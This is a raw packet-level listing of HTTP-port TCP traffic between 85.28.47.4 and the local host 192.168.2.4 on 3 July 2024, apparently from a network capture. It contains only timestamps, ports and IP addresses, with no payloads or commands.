Jul 3, 2024 23:59:07.678179026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678189039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678200960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678210974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678222895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678248882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678350925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678361893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678370953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678381920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678390980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678394079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678407907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678426027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678463936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678474903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678503036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678510904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678514957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678539991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678561926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678684950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678695917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678705931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678714991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678725004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678728104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678739071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678741932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678751945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678771019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678788900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678925037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678935051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678945065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678955078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678966045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678966045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678972960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679003954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679184914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679195881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679212093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679222107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679229021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679233074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679244041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679250956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679255009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679265976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679270983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679276943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679296017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679318905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679497004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679513931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679523945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679533958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679538012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679544926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679552078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679555893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679567099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679572105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679579020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679594994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679596901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679605007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679606915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679635048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679656982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679857016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679899931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.679986000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.679997921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680007935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680018902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680030107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.680030107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680042982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680053949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680058002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.680066109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680074930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.680077076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680090904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.680102110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.680130959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687509060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687529087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687539101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687606096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687643051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687659025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687670946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687681913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687690973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687725067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687779903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687802076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687820911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687846899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687850952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687892914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.687983036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.687994003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688004017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688014984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688026905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688035965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688070059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688113928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688126087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688137054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688177109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688211918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688224077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688234091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688245058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688256025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688266993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688277960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688288927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688304901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688327074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688491106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688533068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688560009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688570976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.688604116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.688616991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.770891905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.770965099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.770973921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.770982981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771019936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771028996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771040916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771050930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771061897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771075010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771092892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771128893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771189928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771200895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771212101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771236897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771269083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771269083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771320105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771332026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771341085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771352053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771367073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771394968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771420002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771467924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771529913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771541119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771550894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771560907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771569967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771570921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771579027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771599054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771624088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771756887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771768093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771781921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771790981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771792889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771802902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771806002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771816015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771826029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771830082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771837950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771845102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771863937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771888971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.771982908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.771994114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772020102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772032022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772034883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772046089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772073984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772097111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772120953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772130966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772140026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772150040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772159100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772161961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772167921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772200108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772280931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772322893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772351027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772361994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772371054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772411108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772435904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772458076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772469044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772479057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772496939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772500992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772507906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772509098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772526979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772536039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772557020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772696972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772710085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772718906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772728920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772737026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772739887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772747040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772752047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772763968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772777081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772789955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772816896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772953987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772964954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772974968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772984028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.772991896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.772996902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773005009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773036003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773226976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773248911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773258924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773268938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773271084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773281097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773289919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773293018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773302078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773312092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773317099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773323059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773334026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773335934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773350000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773351908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773363113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773372889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773379087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773384094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773403883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773415089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773725033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773736000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773746014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773756981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773766994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773766994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.773792028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773813009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.773998976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774009943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774019957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774029970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774039984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774041891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.774050951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774061918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774066925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774066925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.774082899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774086952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.774094105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774105072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.774111032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.774135113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.774147034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781374931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781421900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781430960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781438112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781475067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781503916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781514883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781524897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781536102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781549931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781559944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781594038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781616926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781636953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781646967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781656027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781661034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781672955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781696081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781805038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781816959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781827927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781837940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781846046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781871080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781902075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781940937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.781985044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.781995058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782005072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782018900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782023907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782031059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782042027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782052040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782067060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782097101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782278061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782289028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782299042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782309055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782319069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782326937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782329082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782341957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782351971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.782358885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782375097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.782396078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865109921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865123987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865134001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865144968 CEST	80	49730	85.28.47.4	192.168.2.4
